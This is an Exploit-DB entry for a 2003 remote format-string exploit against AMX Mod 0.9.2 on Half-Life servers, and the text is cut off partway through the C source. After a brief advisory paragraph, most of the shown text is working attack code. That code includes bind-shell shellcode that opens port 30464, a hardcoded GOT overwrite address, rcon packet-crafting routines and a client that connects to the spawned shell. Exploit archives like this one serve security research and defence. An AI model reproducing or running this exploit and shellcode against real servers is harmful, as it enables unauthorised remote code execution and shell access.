Exploit-DB #22291
Description: AMX Mod 0.9.2 - Remote 'amx_say' Format String
Type: remote
Platform: linux
Date: 2003-02-26
Author: greuff

Exploit:
// source: https://www.securityfocus.com/bid/6968/info

A format string vulnerability has been discovered AMX Mod 0.9.2 and earlier which may be exploitable to execute arbitrary code on a target Half-Life server. The problem occurs when calling the 'amx_say' command. By passing specially constructed format specifiers as an argument to the command, it is possible to modify arbitrary locations in memory.

It should be noted that rcon authentication is required to access the 'amx_say' command. 

/*****************************************************************
 * hoagie_amx.c
 *
 * Remote exploit for Halflife-Servers running the AMX-Plugin
 * (rcon-password required)
 *
 * Binds a shell to port 30464/tcp and connects to it.
 *
 * Author: greuff@void.at
 *
 * Tested with HL-Server v3.1.1.0 and AMX 0.9.2 on Linux
 *
 * Credits:
 *    void.at
 *    Taeho Oh for using parts of his shellcode-connection code.
 *
 * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-CONCEPT.
 * THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY DAMAGE OR
 * CRIMINAL ACTIVITIES DONE USING THIS PROGRAM.
 *
 *****************************************************************/

#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <stdlib.h>

#define VSNPRINTF_GOT_ADDRESS 0x0804ce18
#define OFFSET 0x41414141

#define SB4(a) ((unsigned int)(a>>24))
#define SB3(a) ((unsigned int)((a>>16)&0xFF))
#define SB2(a) ((unsigned int)((a>>8)&0xFF))
#define SB1(a) ((unsigned int)(a&0XFF))

// forks and binds a shell to 30464/tcp. parent process exit()s.
char shellcode[] = "\x31\xc0\x40\x40\xcd\x80\x89\xc0\x85\xc0\x74\x06"
                   "\x31\xc0\xb0\x01\xcd\x80"
                   "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51"
                   "\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51\x8d\x0c\x24\xcd"
                   "\x80\xb3\x02\xb1\x02\x31\xc9\x51\x51\x51\x80\xc1\x77"
                   "\x66\x51\xb1\x02\x66\x51\x8d\x0c\x24\xb2\x10\x52\x51"
                   "\x50\x8d\x0c\x24\x89\xc2\x31\xc0\xb0\x66\xcd\x80\xb3"
                   "\x01\x53\x52\x8d\x0c\x24\x31\xc0\xb0\x66\x80\xc3\x03"
                   "\xcd\x80\x31\xc0\x50\x50\x52\x8d\x0c\x24\xb3\x05\xb0"
                   "\x66\xcd\x80\x89\xc3\x31\xc9\x31\xc0\xb0\x3f\xcd\x80"
                   "\x41\x31\xc0\xb0\x3f\xcd\x80\x41\x31\xc0\xb0\x3f\xcd"
                   "\x80\x31\xdb\x53\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
                   "\x69\x89\xe3\x8d\x54\x24\x08\x31\xc9\x51\x53\x8d\x0c"
                   "\x24\x31\xc0\xb0\x0b\xcd\x80"
                   "\x31\xc0\xb0\x01\xcd\x80";

char server_ip[20];
char rcon_pwd[30];
int server_port;

int exec_sh(int sockfd)
{
        char snd[4096],rcv[4096];
        fd_set rset;
        while(1)
        {
                FD_ZERO(&rset);
                FD_SET(fileno(stdin),&rset);
                FD_SET(sockfd,&rset);
                select(255,&rset,NULL,NULL,NULL);
                if(FD_ISSET(fileno(stdin),&rset))
                {
                        memset(snd,0,sizeof(snd));
                        fgets(snd,sizeof(snd),stdin);
                        write(sockfd,snd,strlen(snd));
                }
                if(FD_ISSET(sockfd,&rset))
                {
                        memset(rcv,0,sizeof(rcv));
                        if(read(sockfd,rcv,sizeof(rcv))<=0)
                                exit(0);
                        fputs(rcv,stdout);
                }
        }
}

int connect_sh()
{
        int sockfd,i;
        struct sockaddr_in sin;
        struct hostent *he;
        printf("Connect to the shell\n");
        fflush(stdout);
        memset(&sin,0,sizeof(sin));
        sin.sin_family=AF_INET;
        sin.sin_port=htons(30464);
        if((he=gethostbyname(server_ip))<0) perror("gethostbyname"), exit(1);
        memcpy(&sin.sin_addr,*(he->h_addr_list),sizeof(sin.sin_addr));
        if((sockfd=socket(AF_INET,SOCK_STREAM,0))<0)
        {
                printf("Can't create socket\n");
                exit(0);
        }
        if(connect(sockfd,(struct sockaddr *)&sin,sizeof(sin))<0)
        {
                printf("Can't connect to the shell\n");
                exit(0);
        }
        return sockfd;
}

void create_conn(int *sock, char *host, int port)
{
   struct sockaddr_in sin;
   struct timeval timeout;
   struct hostent *he;

   sin.sin_family=AF_INET;
   sin.sin_port=htons(port);
   if((he=gethostbyname(host))<0) perror("gethostbyname"), exit(1);
   memcpy(&sin.sin_addr,*(he->h_addr_list),sizeof(sin.sin_addr));
   if((*sock=socket(PF_INET,SOCK_DGRAM,0))<0) perror("socket"), exit(1);

   timeout.tv_sec=10;
   timeout.tv_usec=0;
   if(setsockopt(*sock,SOL_SOCKET,SO_RCVTIMEO,(const void *)&timeout,
      sizeof(timeout))<0)
      perror("setsockopt"),exit(1);
   if(setsockopt(*sock,SOL_SOCKET,SO_SNDTIMEO,(const void *)&timeout,
      sizeof(timeout))<0)
      perror("setsockopt"),exit(1);
}

void lowlevel_rcon(int sock, char *host, int port, char *cmd, char *reply)
{
   char msg[2000];
   struct sockaddr_in sin;
   struct sockaddr_in sfrom;
   struct hostent *he;
   fd_set fdset;
   int dummy;

   usleep(100);

   sin.sin_family=AF_INET;
   sin.sin_port=htons(port);
   if((he=gethostbyname(host))<0) perror("gethostbyname"), exit(1);
   memcpy(&sin.sin_addr,*(he->h_addr_list),sizeof(sin.sin_addr));

   sprintf(msg,"%c%c%c%c%s",0xff,0xff,0xff,0xff,cmd);
   if(sendto(sock,msg,strlen(msg),0,(struct sockaddr *)&sin,sizeof(sin))<0)
      perror("sendto"), exit(1);

   if(reply)
   {
      if(recvfrom(sock,msg,2000,0,(struct sockaddr *)&sfrom,&dummy)<0)
      {
         if(errno==EAGAIN)
         {
            // resend message
            printf("msg stall